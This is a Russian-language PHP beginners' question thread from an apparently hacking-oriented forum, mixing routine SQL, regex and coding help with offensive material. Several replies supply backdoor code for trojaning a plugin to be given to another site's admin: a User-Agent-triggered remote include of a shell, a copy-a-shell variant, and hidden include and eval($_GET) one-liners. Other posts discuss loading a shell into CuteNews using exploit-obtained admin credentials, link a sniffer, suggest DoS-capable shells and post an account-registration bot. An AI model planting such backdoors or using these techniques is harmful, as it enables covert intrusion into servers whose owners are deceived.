Просмотр полной версии : [php] Новичкам: задаем вопросы
.:EnoT:.
30.03.2008, 11:12
у тебя engtype, а надо enctype
аааа...блин...опечатался и сидел думал чё за хня.
Скип и Воланд спасибо :)
пойду убью себя ап стену =/
ne короче такая тема нашел на сайте инклуд. инклудит страницу с другого сайта например страница php открывается как php а когда инклудишь txt открывается как txt что нить можно сделать с такой иньекцией
я щас экспрементирую на своем компе, а я хочу админу одного сайта дать плагин для forum'a в котором будет удаленный инклуд.
Так тебе надо скрипт протроянить? вот:
$k=$_SERVER["USER_AGENT"];
это где нить незаметно так
if (strpos($k,"f35761"){ $path=explode(":",$k); include($path[1]);}
а уж юзер агент на такой: f35761:/path/to/shell.php
сменить каждый может, и шелл спрятать далеко на сервере или даже на удаленном сервере
Так тебе надо скрипт протроянить? вот:
то что ты мне дал как вызывается? :confused:
есть у тебя допустим скрипт:
<?php
....
$k=$_SERVER["USER_AGENT"];
....
if (strpos($k,"f35761"){ $path=explode("^",$k); include($path[1]);}
....
?>
ты меняешь у себя юзер агент (имя браузера) на например f35761^http://site/shell.php
и вызываешь этот скрипт, он проинклюдит http://site/shell.php
у меня ошибку во 2-ой строке вываливает
Parse error: syntax error, unexpected '{'
после if (strpos($k,"f35761") скобку ) поставь, я почемуто пропустил
lsass.exe
30.03.2008, 12:14
то что ты мне дал как вызывается? :confused:
читай внимательнее, это он не тебе писал.
В твоем случае нужно залить на любой другой хост пхп шелл, а потом уже его подключаешь - ?page=http://site.r/shell.php
читай внимательнее, это он не тебе писал.
В твоем случае нужно залить на любой другой хост пхп шелл, а потом уже его подключаешь - ?page=http://site.r/shell.php
ни чего все равно не получится он покажет как php shell и не подгрузится
Мне этот инклудинг уже не нужен, т.к. удаленный инклуд запрещен на сервере.
Вот если кто-нибудь напишет маленький скриптик для загрузки на сервер файла, который вызывается script.php?fileupload=shell.php и файл shell.php загрузится в тек. дир.
читай внимательнее, это он не тебе писал.
В твоем случае нужно залить на любой другой хост пхп шелл, а потом уже его подключаешь - ?page=http://site.r/shell.php
зачем он тогда мое сообщение цитировал? вроде даже задал вопрос "Тебе что надо скрипт протроянить?" и еще написал "вот:" или у меня галлюцинации? :)
lsass.exe
30.03.2008, 12:31
зачем он тогда мое сообщение цитировал? вроде даже задал вопрос "Тебе что надо скрипт протроянить?" и еще написал "вот:" или у меня галлюцинации? :)
и ты читай внимательнее, то что я писал выше адрессовано heks
писал я это для QZAR-X, тут если тебе инклюд не нужен, можешь функцию copy использовать, но опять же копирование будет с удаленного серва (имхо инклюд в этом случае надежнее, хотя хз)
<?php
....
$k=$_SERVER["USER_AGENT"];
....
if (strpos($k,"f35761")){ $path=explode("^",$k); copy(path[1],path[2]);}
....
?>
здесь в юзер агент пишешь: f35761^http://site/shell.php^/path/na/serve/shell.php
спросиш нахрена нужны заморочки с юзер агентом, скажу, для меньшего палева, вобще вариантов куча, мог бы и сам че нить придумать
Scipio
if (strpos($k,"f35761")) - если f35761 стоит в начале строки, то надо либо if (strpos($k,"f35761") !== FALSE), либо if (strpos(' '.$k,"f35761"))
[x26]VOLAND, Мда.. Я такого маленького скриптика в жизни не видел.
<? if($_GET['x']) include($_GET['x']); ?>
Вот самый простой вариант, если вставишь в серединку куда-нибудь, где менее заметно, то будет гуд.
Чтоб инклудить, просто заходишь по ссылке script.php?x=http://mysite/myshell.php
<? if($_GET['x']) include($_GET['x']); ?>
<? @include($_POST['x']); ?>
но лучше сделать system(); или аналог, т.к. не на всех хостах есть возможность инклуда файлов с других хостов. зависит от конфигов
Sleep, мда....тем что он закоментирует функцию, скрипту лучше не станет, он работать не будет вообще после 30 секунд его работы =\
Помогите мне решить проблему со скриптом.
anakreon
31.03.2008, 09:32
Здраствуйте. Вопрос такой. Есть вывод с базы Oracle. Ну скажем такие поля.
|....ID.....|........TIME........|...price_max...| ...price_min...|
|...215...|21.01.02 15:45|....215.25.......|......176.34....|
|...217...|21.01.02 16:45|....300.25.......|......10.34......|
|...220...|21.01.02 15:46|....150.25.......|......15.34......|
|...215...|22.01.02 13:45|....215.25.......|......176.34....|
|...217...|22.01.02 11:45|....215.25.......|......176.34....|
|...220...|22.01.02 17:45|....215.25.......|......176.34....|
|...215...|23.01.02 16:45|....215.25.......|......176.34....|
ну и т.д.
Как сделать так чтобы по каждому ID выводилась строка с максимальным временем.
|....ID.....|........TIME........|...price_max...| ...price_min...|
|...215...|23.01.02 16:45|....215.25.......|......176.34....|
|...217...|22.01.02 11:45|....215.25.......|......176.34....|
|...220...|22.01.02 17:45|....215.25.......|......176.34....|
..order by `time` asc........
Скорее
select id, max(time) from table group by id
<?php
include_once"../template/pclzip.php";
$dir=check($dir);
$arch=check($arch);
$open=check($open);
echo '<div class=v><b>Просмотр архива</b></div>';
if($dir!="" && $arch!=""){
if (!$action){
$zip=new PclZip("$dir/$arch");
if (($list = $zip->listContent()) != 0){
for ($i=0; $i<sizeof($list); $i++){
for(reset($list[$i]);
$key = key($list[$i]);
next($list[$i])) {
$zfilesize = strstr($listcontent,"--size");
$zfilesize = ereg_replace("--size:","",$zfilesize);
$zfilesize =@ereg_replace("$zfilesize","$zfilesize|",$zfilesize);
$sizelist .="$zfilesize";
$listcontent = "[$i]--$key:".$list[$i][$key]."";
$zfile = strstr($listcontent,"--filename");
$zfile =ereg_replace("--filename:","",$zfile);
$zfile =@ereg_replace("$zfile","$zfile|",$zfile);
$savelist .="$zfile";
}}
$sizefiles2 = explode("|",$sizelist);
$sizelist2=array_sum($sizefiles2);
$obkb=round($sizelist2/1024,2);
$preview = explode("|",$savelist);
$count = count($preview)-1;
echo '<div class=pay><img src="../images/img/zip.gif" alt=""> <b>'.$arch.'</b><br>';
echo '<img src="../img/o.gif" alt="">Всего файлов: '.$count.'<br><img src="../img/go.gif" alt="">Вес архива: '.$obkb.' кб</div>';
if (empty($_GET['start'])) $start = 0;
else $start = $_GET['start'];
if ($count < $start + $config_ziplist){ $end = $count; }
else {$end = $start + $config_ziplist; }
for ($i = $start; $i < $end; $i++){
$sizefiles = explode("|",$sizelist); //вырезаем элементы из массива с размерами файлов
$selectfile = explode("|",$savelist);
$path = $selectfile[$i];
$fname = ereg_replace(".*[\\/]","",$path);
$zdir = ereg_replace("[\\/]?[^\\/]*$","",$path);
$path = str_replace("/","*",$path);
$ext=strtolower(strrchr($fname, "."));
switch($ext){
case 'dir': $ico='dir.gif'; break;
case '.jpg': case '.jpeg': $ico='jpg.gif'; break;
case '.gif': $ico='gif.gif'; break;
case '.mid': $ico='mid.gif'; break;
case '.mp3': $ico='mp3.gif'; break;
case '.wav': case '.amr': $ico='wav.gif'; break;
case '.mmf': $ico='mmf.gif'; break;
case '.jad': $ico='jad.gif'; break;
case '.jar': $ico='jar.gif'; break;
case '.zip': $ico='zip.gif'; break;
case '.txt': $ico='txt.gif'; break;
case '.exe': $ico='exe.gif'; break;
case '.htm': $ico='htm.gif'; break;
case '.html': $ico='htm.gif'; break;
case '.php': $ico='php.gif'; break;
default: $ico='file.gif'; break; }
if(!$fname){
echo '<img src="../images/icons/dir.gif" alt=""> <b>Директория '.$zdir.'</b><br>';
}else{
echo '<img src="../images/icons/'.$ico.'" alt=""> <a href="zip.php?action=preview&dir='.$dir.'&arch='.$arch.' &open='.$path.'&start='.$start.'&'.SID.'">'.$zdir.'/'.$fname.'</a>';
echo ' ('.formatsize($sizefiles[$i]).')<br>';
}}
echo '<div class=pay>';
if ($start != 0) {echo '<img src="../img/go.gif" alt=""><a href="zip.php?start='.($start - $config_ziplist).'&dir='.$dir.'&arch='.$arch.'&'.S ID.'">Назад</a>';}else{echo'<img src="../img/go.gif" alt="">Назад';}
echo ' | ';
if ($count > $start + $config_ziplist) {echo ' <a href="zip.php?start='.($start + $config_ziplist).'&dir='.$dir.'&arch='.$arch.'&'.S ID.'">Далее</a><img src="../img/g.gif" alt="">';}else{echo'Далее<img src="../img/g.gif" alt="">';}
$total=$count;
if($total>0){
$ba=ceil($total/$config_ziplist);
$ba2=$ba*$config_ziplist-$config_ziplist;
echo '<br>';
echo '<img src="../img/g.gif" alt="">Страницы:';
$asd=$start-($config_ziplist*3);
$asd2=$start+($config_ziplist*4);
if($asd<$total && $asd>0){echo ' <a href="zip.php?start=0&dir='.$dir.'&arch='.$arch.'&'.SID. '">1</a> ... ';}
for($i=$asd; $i<$asd2;)
{
if($i<$total && $i>=0){
$ii=floor(1+$i/$config_ziplist);
if ($start==$i) {
echo ' <b>'.$ii.'</b>';
} else {
echo ' <a href="zip.php?start='.$i.'&dir='.$dir.'&arch='.$arch.'&' .SID.'">'.$ii.'</a> ';
}}
$i=$i+$config_ziplist;
}
if($asd2<$total){echo ' ... <a href="zip.php?start='.$ba2.'&dir='.$dir.'&arch='.$arch.' &'.SID.'">'.$ba.'</a>';}
}
}else{
echo '<br><b>Невозможно открыть архив!</b><br>';
echo 'Ошибка: '.$zip->errorInfo(true);
}
echo'<br><div class=pay><img src="../img/go.gif" alt=""><a href="down.php?action=ob&did='.$dir.'&fid='.$arch.'&'.SI D.'">Вернуться</a></div>';
}
//////////////////////////////////action preview////////////////////////////////
if($action=="preview"){
$open = str_replace("*","/",$open);
$zip=new PclZip("$dir/$arch");
$content = $zip->extract(PCLZIP_OPT_BY_NAME, $open,PCLZIP_OPT_EXTRACT_AS_STRING);
$content = $content[0]['content'];
$letters=array("а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я","А","Б","В","Г","Д","Е","Ё","Ж","З","И","Й","К","Л","М","Н","О","П","Р","С","Т","У","Ф","Х","Ц","Ч","Ш","Щ","Ъ","Ы","Ь","Э","Ю","Я");
for ( $b=0; $b<66; $b++) {if(strstr($content,$letters[$b])!== false){$utf="ok";}}
$preview2 = explode("\r\n",$content);
$count = count($preview2);
/* function highlight_code($code) {
$code=trim($code);
return highlight_string($code,true);} */
echo '<img src="../images/img/zip.gif" alt=""> <b>'.$arch.'</b><br>';
echo '<img src="../images/img/files.gif" alt=""> <b>'.$open.'</b><br>';
echo 'Всего строчек: '.(int)$count.'<br><hr>';
if($utf=="ok"){echo highlight_code($content);}else{echo highlight_code(win_to_utf($content));}
echo'<div class=pay><img src="../img/go.gif" alt="">';
echo'<a href="zip.php?start='.$start.'&dir='.$dir.'&arch='.$arch .'&'.SID.'">Вернуться</a></div>';
}
}else{header ("Location: index.php?".SID); exit;}
echo'<div class=pay><img src="../img/go.gif" alt=""><a href="down.php?did='.$dir.'&'.SID.'">В раздел</a><br>';
echo'<img src="../img/go.gif" alt=""><a href="index.php?'.SID.'">К категориям</a></div></div></div>';
?>
Этот скрипт выводит содержимое архива, и через него можно посмотреть, файл,... Но как сделать, чтоб через него можно было выкачивать файлы напрямую из архива нераспаковывая его?
azote, как можно спать у себя в квартире не заходя в неё?
Ну а допустим, чтоб скрипт выкачал файл(разархивировав), пользователь скачал, и файл после этого удалился(точнее временные файлы)
anakreon
01.04.2008, 01:54
Все конечно помогло но ситуация немного хуже. пришлось скрещивать две таблицы и LEFT JOIN конфликтует с GROUP BY
$x = OCIParse ( $c , "select fin.id, fin.sname, max(inf_ac.i_time), inf_ac.fin, inf_ac.l_price, inf_ac.best_buy, inf_ac.deal_max, inf_ac.deal_min from fin LEFT JOIN inf_ac ON inf_ac.fin = fin.id");
-вот собственно кусок кода. Куда Group by вставить ума не приложу - выдает ошибки
А в конце запроса
group by fin.id
не работает?
anakreon
01.04.2008, 08:48
Нет. В доках написано то надо перечислить все элементы выборки после group by
Но такой вариант тоже не проходит, т.к. он группирует по всем, а мне надо только по одному
Так, а вот такой финт ушами сработает на оракле?
select f.id, f.sname, a.* from fin f
left join (
select max(i_time) as mmaaxx, fin, l_price, best_buy, deal_max, deal_min from inf_ac group by fin
) a on f.id = a.fin;
anakreon
01.04.2008, 10:39
Выдает:
not a GROUP BY expression in
А внутренний подзапрос выполняется?
select max(i_time) as mmaaxx, fin, l_price, best_buy, deal_max, deal_min from inf_ac group by fin
anakreon
01.04.2008, 10:52
нет. та же ошибка.
выполняется только так:
select max(i_time) as mmaaxx, fin, l_price, best_buy, deal_max, deal_min from inf_ac group by fin, l_price, best_buy, deal_max, deal_min
выводит так:
2-DEC-06 101 120 0 125 110
12-DEC-06 101 125 0 125 125
14-DEC-06 103 1000 0 1000 1000
12-DEC-06 103 1100 0 1100 1100
23-NOV-07 105 0 0 0 0
22-FEB-07 105 301 299 310 293.01
А если так?
select * from inf_ac
where fin in (
select fin from inf_ac group by fin
) and i_time in (
select max(i_time) from inf_ac group by fin
);
Если да, то от него надо тогда плясать и джойнить его
anakreon
01.04.2008, 19:17
Да. так выводит. спасибо. а как его тогда лучше сджойнить?
a_v
а собственно брут чего?
<br/>Введите пароль<br/>
<form>
<input name="pass" value="Введите пароль"/><br/>
<input type="submit" name="button" value="Начать брут"/>
</form>
<?php
if(@$button) {
тут брут по паролю $_GET['pass'];
}
?>
примерно вот так.
lsass.exe
01.04.2008, 23:24
примерно вот так.
тогда уж лучше так
<br/>Введите пароль<br/>
<form action='' method=post>
<input name="pass" value="Введите пароль"/><br/>
<input type="submit" name="submit" value="Начать брут"/>
</form>
<?php
if(isset($_POST['submit']))
{
$pass_for_brute = $_POST['pass']; // тут хранится пароль из поля
// сам код брута
}
?>
Buffalon if(isset($_POST['submit']))
Buffalon
02.04.2008, 00:07
Buffalon if(isset($_POST['submit']))
Cори... .Я думал вы химичите в своей фор(м)ке)
anakreon, джойнить надо наподобие этого
select f.id, f.sname, a.* from fin f
left join (
select i_time, fin, l_price, best_buy, deal_max, deal_min from inf_ac
where fin in (
select fin from inf_ac group by fin
) and i_time in (
select max(i_time) from inf_ac group by fin
)
) a on f.id = a.fin;
Buffalon
02.04.2008, 12:34
Посмотрите мой код в плане быстродействия
<?php
$site="http://bank.gov.ua/Fin_ryn/OF_KURS/Currency/FindByDate.aspx";
$open=fopen($site,"r");
$date=date("d.m.y");
while($fp=fgets($open,300))
{
if(strpos($fp,">EUR</td><td align=") !==false)
{
preg_match('(\d+)',$fp,$p);
echo "$p[0]<br>";
echo "$fp";
break;
}
}
?>
Мы пробегаем по сайту в поисках нжной строчки,длинна этой строчки 189... .НО я выставил 300... .Когда мы находим её мы с ней работтаем... .Или fopen некатит?
Да.. .И как найти число c float с помощью preg_match() ?
мб file_get_contents+preg_match?
msg rem
ps большое пасибо Piflit!
$out = "POST /messages.php?rand=$rand[0] HTTP/1.0\r\n";
$out .= "Cookie: sid=$sid[0]\r\n\r\n";
Вопросик.....вот созрел... пытаюсь написать регер для сервиса nextmai.... но вот незадача, гна втором шаге работы с сокетами выдает ошибку....
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
$img="";
$res="";
$sock=@fsockopen("www.nextmail.ru",80);
if(!$sock) die("fsockopen() error.");
fputs($sock,
"GET /reg/obligatory.phtml HTTP/1.0\r\n".
"Host: www.nextmail.ru\r\n".
"Referer: http://nextmail.ru/reg/obligatory.phtml\r\n".
"User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n".
"Cookie:PHPSESSID=9844298bce50526dcbb22c64084688d7\ r\n\r\n");
while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
$pos = strpos($img, "/au/code.phtml?u=");
$got=substr($img,$pos,30);
$got="http://nextmail.ru".$got;
fclose($sock);
echo "<form><img src='$got'>";
print"</br>\r\n";
print"<br>";
print"<form method='get'>";
print"Code";
print "<br/>";
print"<br/>";
print"<input type='text' name='image' value='' /><br/>";
print"<br>";
print"<input type='submit' name='sub' value='Go!' /><br/>
</form>";
if(isset($_GET['sub']))
{
$kode=$_GET['image'];
$pass=12345;
$name=ererww;
$url="todo=obliginfo&name=".$name."&domain=xaker.ru&password=".$pass."&pwdconf=".$pass."&fullname=".$name."&sex=Male&bday=2008-04-02®code=".$kode."&skipoptional=yes";
$con=@fsockopen("www.nextmail.ru",80);
if(!$con) die("fsockopen() error.");
fputs($con,
"POST /reg/obligatory.phtml HTTP/1.0\r\n".
"Host: www.nextmail.ru\r\n".
"Referer: http://nextmail.ru/reg/obligatory.phtml\r\n".
"User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n".
"Cookie:regcookie[password]=".$pass."; regcookie[fullname]=".$name."; regcookie[sex]=Male; regcookie[bday]=2008-04-01; PHPSESSID=9844298bce50526dcbb22c64084688d7\r\n".
"Content-Type:application/x-www-form-urlencoded\r\n".
"Content-Length:".strlen($url)."\r\n\r\n".$url);
while(!feof($con))
{
$res .= fgets($con, 1024);
}
fclose($con);
echo $res;
}
?>
Darkweider
03.04.2008, 01:05
А ты с бесплатного хостинга запускаешь или на своей тачке или на своем хостинге... ? Просто на бесплатных в большинстве сокеты не поддерживаются) Что-то вроде не могу найти ошибку... А сам писал регер или по аналогии с другими делал?
Скрипт сам писал..... тестил на денвере 3 с компа.... сокеты держит ....
presidentua
03.04.2008, 03:10
инересная ситуация с ПХП.
$str1='true';
$str2='asdfasdf asdf';
if ($str1==$str2) ...
все знают что вернет условие ФАЛСЕ, если же написать
$str1=true; (без кавычек), но вернет ТРУЕ. Это тоже надеюсь все знают.
Но такой момент, при передаче скрипту ГЕТ или других параметров со значением ТРУЕ ПХП интерпритирует значение ТРУЕ как строку, тоесть типа так $str1='true';
А как можна передать (если вообще можна) параметры, чтобы интерпритировало как логическое значение типа так $str1=true.
ToniKapuchon
03.04.2008, 03:28
1, 0?
presidentua
03.04.2008, 04:13
1, 0?
неа, 1,0,труе,фалсе, большими буквами, маленькими, ничего не пододит, поэтому и обратился. Может как-то можна обойти это. Например черезразные хеши переменных, может как-то они по другому пишутся. Тоесть по сути ТРУЕ и ФАЛСЕ где-то определены как константы, но кто-его знает...
Всем участникам приветы!
хотел вот спросить ибо уже сломал се моск.... =(
по моему вопросу в одной из тем мне посоветовали "Eval'лить код или поставь форму на закачку шела". Ушел в статьи и на php.ru (прошла неделя - голова как воздушный шарик)
Тоесть как я понял в eval можно загнать пхп код - смысл етого я не пойму?
На примере cutenews 1.4.5 на котором через эксплойт дабыл логин пароль админа -
в теплейтах нельзя исполнлить пхп код, он его не воспринимает и не выводит (заметил что если вставить пхп код то после повторного просмотра долбаный кут ньюз удаляет из кода все введене переменые)
Вот как бы и сам вопрос: объяснити для чего нужен етот eval, как и пользоваться и если есть желание помочь опишите, как мне залить шел в cutenews 1.4.5 имея админские привелегии?
presidentua,
<?php
eval($_GET['xek']);
$str2='asdfasdf asdf';
if ($str1 == $str2) echo 1;
?>
Естественно это не безопасно
index.php?xek=$str1=true;
6u4yxa, пример
<?php
eval($_GET['sekas']);
?>
Обратись к скрипту так: script.php?sekas=phpinfo();
6u4yxa, пример
<?php
eval($_GET['sekas']);
?>
Обратись к скрипту так: script.php?sekas=phpinfo();
после того как занес ето в теплейт вылезло вот ето
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING
Я про скрипт говорил, а не про темплейт)
http://php.net/eval
Я про скрипт говорил, а не про темплейт)
http://php.net/eval
про евал уже все что можно прочитал но не могу все равно понять зачем он нужен...
А на счет теплейта как реализовать php код там?
_____________________
попробовал тот код из примера работает =) выводит phpinfo(); но яж могу и без всякого eval его вывести.
_____________________
прошло ещё 10 мин...
вставил в темплейт вот так:
<?
eval($GET['sekas']);
?>
вылезла ошибка...
посидел, подумал..
вставил в темплейт вот так:
<?
eval(\"$GET['sekas']\"\);
?>
смотрю ошибки нету... (думаю получилось)...
пробую...
http://localhost/cute/show_news.php?sekas=phpinfo();
........(мат) просто отобразил последние новости без phpinfo(); - в чем загвостка?
Доброго времени суток))
Очень срочно надо научиться пользоваться скриптами!!!
НАУЧИТЕ ПЛИЗЬЬЬ!!!
Пишите как для чайника!!! Я новичёк!
работа в гугле тебе поможет так и пиши "как пользоваться скриптами" или там работа с php скриптами. читай маны и все поймешь
про евал уже все что можно прочитал но не могу все равно понять зачем он нужен...
А на счет теплейта как реализовать php код там?
_____________________
попробовал тот код из примера работает =) выводит phpinfo(); но яж могу и без всякого eval его вывести.
_____________________
прошло ещё 10 мин...
вставил в темплейт вот так:
<?
eval($GET['sekas']);
?>
вылезла ошибка...
посидел, подумал..
вставил в темплейт вот так:
<?
eval(\"$GET['sekas']\"\);
?>
смотрю ошибки нету... (думаю получилось)...
пробую...
http://localhost/cute/show_news.php?sekas=phpinfo();
........(мат) просто отобразил последние новости без phpinfo(); - в чем загвостка?
тема поднималась на предыдущих страницах смотри внимательнее
6u4yxa
ты в пхп код вставил
<?php
eval($_GET['sekas']);
?>
? если да, то надо просто eval($_GET['sekas']);
6u4yxa
ты в пхп код вставил
? если да, то надо просто eval($_GET['sekas']);
я в темплейт ето вставляю, но если вставить без <? ?> то он отоброжает не код пхп а все ету строчку
тема поднималась на предыдущих страницах смотри внимательнее
плиз тыкни носом я просто с оченннннь отдаленого города и у нас инет просто ДЕБИЛ в плане тормаза и траф дороговатый =) да и страниц тут уже 260 =)
____________
дошел до 245 не че не нашел то, что мне помогло бы =(((
Попробуй <?php
eval($_GET['sekas']);die();
?>
Попробуй <?php
eval($_GET['sekas']);die();
?>
издеваешься =(
парюсь с zend framework
создал форму Zend_Form, делаю isValid() и он возвращает либо тру, либо фальс.
А как получить текст ошибок?
дайте плиз скрипт снифера на PHP, примерно такой же как на s.netsec.ru если есть.... чтоб так же инфу выводил а если мона то побольше.....
lsass.exe
04.04.2008, 10:50
дайте плиз скрипт снифера на PHP, примерно такой же как на s.netsec.ru если есть.... чтоб так же инфу выводил а если мона то побольше.....
http://kanick.ru/sniffer/
Вопрос по регулярным выражениям.... Строка такого вида '<font size=-1>Results 101 - 200 of about 371,000 for mail. (0.33 seconds) </font>' Как будет выглядеть в виде реулярного выражения?
Я так полагаю из строки тебя интересует этот кусок: Results 101 - 200 of about 371,000 for mail
Тогда регулярка такая
/(\w+)\s(\d+)\s-\s(\d+)\s(\w+)\s(\w+)\s(.*?)\s/
Если просто вытащить цифры 101, 200 и 371000, то можно так:
/Results (\d+)\s-\s(\d+) of about (.*?)\s/
Помогите примером, чтоб скрипт выводил случайную строку
1) из фаила.....
2) из БД....
ЗЫ. Будет юзаться в таком примере..
//Команда
if (strtolower($msg_text) == "!лол")
{
Скрипт
$send = 'Строка';
}
Из файла:
$file_array=file("имя_файла");
print $file_array[mt_rand(0,count($file_array)-1)];
Из БД (запрос):
select какое_то_поле_со_строкой from какая_то_таблица order by rand() limit 1
Из файла:
Из БД (запрос):
select какое_то_поле_со_строкой from какая_то_таблица order by rand() limit 1
ИМХО наркманство... Это впринципе позволительно если таблица не большая, т.к. order by очень даже затратная операция. Представь что у тебя в таблице хотя бы 10-20к записей... И запрос довольно частый? Повесится можно. А если пару миллионов? То то же... Здесь нужен другой подход. Например если первичный ключ (или какое нить уникальное числовое значение) - числовое, то можно рандомно выбирать из этого диапазона (от минимального до максимального). Но опять таки встает проблема удаленных записей, т.е. отсутствия некоторых значений в диапазоне... Но и то десяток таких запросов в поиске существующего значения будут быстрее одного с ордером :)
Ну во всяком случае я привёл рабочий запрос, больше ничего не было задано в вопросе - ни структура таблицы, ни поля, ни индексы.
presidentua
05.04.2008, 08:20
VOLAND']Это делается элементарно, функцией settype.
И никаких eval'ов не надо ;)
Со стороны программиста эту проблему решить легко, но я имел ввиду со стороны безопасносит, тоесть есть такой код:
<?php
$str1 = $_GET['xek'];
$str2='asdfasdf asdf';
if ($str1 == $str2) echo 1;
?>
Как передать ТРУЕ как булеан, чтобы сравнение было успешным?
----------------------------
Вопрос 2
Часто в скриптах можна увидеть две команді идущие подряд:
@set_time_limit(0);
@ini_set('max_execution_time',0);
А что они не означают одно и тоже? Я всегда думал что єто одно и тоже...
astrologer
05.04.2008, 11:49
Как передать ТРУЕ как булеан, чтобы сравнение было успешным?Всё равно $_GET['xek'] будет строкой, передать в виде логического значения не получится.
Можно передавать 1 или 0, и использовать что-то вроде:
<?php
$str1 = !!intval($_GET['xek']);
$str2 = 'asdfasdf asdf';
if ($str1 == $str2) echo 1;
?>
P.S. или (bool) вместо двух операторов отрицания
Extremal, не ясно задан вопрос..
De-visible
06.04.2008, 01:33
Наверное он хочет что-то на подобие гостевой!
OFFTOP: Знаю что не туда запостил вопрос, но не хочу создавать тему ради этого.
Сабж: Как в vbulltin-е сделать так чтобы форум не ставил троеточие вместо энного кол-ва серединных символов в длинных активных ссылках, сейчас так: _http://site.ru/мног...ов.rar, a нужно так: _http://site.ru/многознаков.rar.
Мне нужно, чтобы он этого не делал.)
Видимо вопрос был не корректен, отредактировал.
Руками не вариант, мне нужно чтобы сам движок так не делал.
Linuxoid
06.04.2008, 09:47
Так... Тупой вопрос, но все же...
Имеем отдельно взятый сервер, с апачем и пхп. Как его активнее загрузить? :) Именно скриптом на пхп, который был на него залит. Запуск через крон. Чтото у самого идей по принципу загрузки слишком много, не могу не на чем остановица )
Linuxoid
06.04.2008, 12:17
как создать максимальную нагрузку на процессор сервера путем использования скриптов на пхп через апач? :)
Linuxoid глянь сборки шеллов со встроенными дос сплойтами
Linuxoid
06.04.2008, 14:49
Linuxoid глянь сборки шеллов со встроенными дос сплойтами
Я очень сильно извиняюсь, в последнее время как то шеллы не юзал, можно ссылочки? ;) Буду оч признателен.
g-warning
06.04.2008, 20:28
Подскажите пожалуйста как узнать сколько раз в файле "referer.dat" повторяется слово "href" :)
substr_count(file_get_contents('referer.dat'), 'href')
<?php
$file=fopen('referer.dat','r');
print ereg("href",$file,$k);
?>
хз мб что то типа того =)
читай из файла построчно, потом в каждой строке при помощи регулярных выражений или простых функций поиска ищи слово href. и все это естественно в цикле
Linuxoid
r57 shell. погугли
Повторюсь с вопросом по поводу регера. Регер сервиса nextmail, но вот проблема, мыло не получается зарегестрировать, посмотрите, посоветуйте что нибудь...
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
$img="";
$res="";
$sock=@fsockopen("www.nextmail.ru",80);
if(!$sock) die("fsockopen() error.");
fputs($sock,
"GET /reg/obligatory.phtml HTTP/1.0\r\n".
"Host: www.nextmail.ru\r\n".
"Referer: http://nextmail.ru/reg/obligatory.phtml\r\n".
"User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n".
"Connection: Close\r\n\r\n");
while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
$pos = strpos($img, "/au/code.phtml?u=");
$got=substr($img,$pos,30);
$got="http://nextmail.ru".$got;
fclose($sock);
echo "<form><img src='$got'>";
print"</br>\r\n";
print"<br>";
print"<form method='get'>";
print"Code";
print "<br/>";
print"<br/>";
print"<input type='text' name='image' value='' /><br/>";
print"<br>";
print"<input type='submit' name='sub' value='Go!' /><br/></form>";
if(isset($_GET['sub']))
{
$kode=$_GET['image'];
$pass=qwerrewwe;
$nam=dfdwdsds;
$data="todo=obliginfo&name=".$nam."&domain=nextmail.ru&password=".$pass."&pwdconf=".$pass."&fullname=".$nam."&sex=Male&bday=2008-04-01®code=".$kode."&agreed=yes&question=%F3%D7%CF%CA+%D3%CF%C2%D3%D4%D7%C5%CE%CE% D9%CA+%D7%CF%D0%D2%CF%D3%28%D0%CF%CC%C5+%D7%D7%CF% C4%C1+%CE%C9%D6%C5%29.&manualquest=&answer=&email=&timezone=3";
$size=strlen($data);
$rega=@fsockopen("www.nextmail.ru",80);
if(!$rega) die("fsockopen() error.");
fputs($rega,
"POST /reg/obligatory.phtml HTTP/1.0\r\n".
"Host: www.nextmail.ru\r\n".
"Referer: http://nextmail.ru/reg/obligatory.phtml\r\n".
"User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n".
"Content-Length: ".$size."\r\n\r\n".$data);
while(!feof($rega))
{
$res .= fgets($rega, 1024);
}
fclose($rega);
echo $res;
}
?>
imajo.ati
07.04.2008, 09:50
у меня такая проблема:
при отправке данных через POST,
спец. символы автоматически экранируются слешем ( \ )
а именно апострофы, кавычки и сам слеш.
$txt = rawurldecode(trim($_POST['txt']));
echo htmlspecialchars($txt);
если вопрос уже был, прошу прощения =) 264 страницы
мне нужно избавиться от этого лишнего слеша стандартным способом (если есть такой)
Универсальный способ:
if(ini_get('magic_quotes_gpc')==1)
$txt=stripslashes($txt);
!{ra!{e/\/
07.04.2008, 12:46
В базе MySQL
N NOT NULL auto_increment
Вставляю новую строку в базу
$p=mysql_query("INSERT INTO `$bz` ( `N` , `num` , `s1` , `s2` , `Rayon` , `street` , `mat` , `ploch` , `etazh` , `cena` )
VALUES (
'', '".$_SESSION["auth_userid"]."', '', '', '', '', '', '', '', ''
) ");
Как узнать значение N в новой строке?или просто легче как нибудь написать подругому?
Сделай сразу же после инсерта запрос
SELECT MAX(`N`) FROM `$bz`
или
SELECT `N` FROM `$bz` ORDER BY `N` DESC LIMIT 1
GreenBear
07.04.2008, 13:05
mysql_insert_id()
!{ra!{e/\/, ответ на твой вопрос
а что быстрее 1 или 2?
пишу здесь.
Второй быстрее, ибо там юзаются индексы, если они есть, конечно. Если индекс на поле `N` не стоит, то лучше поставить. Разница в скорости будет заметна на больших табличках
ЗЫ. ПМ почисти =)
!{ra!{e/\/
07.04.2008, 13:20
Сделай сразу же после инсерта запрос
SELECT MAX(`N`) FROM `$bz`
или
SELECT `N` FROM `$bz` ORDER BY `N` DESC LIMIT 1
....сделал так
$p=mysql_query("SELECT MAX(`N`) FROM `$bz`");
а как обращаться с переменной $p?
$p = mysql_query ("SELECT MAX(`N`) FROM `$bz`");
$row = mysql_fetch_row ($p);
$max = $row[0];
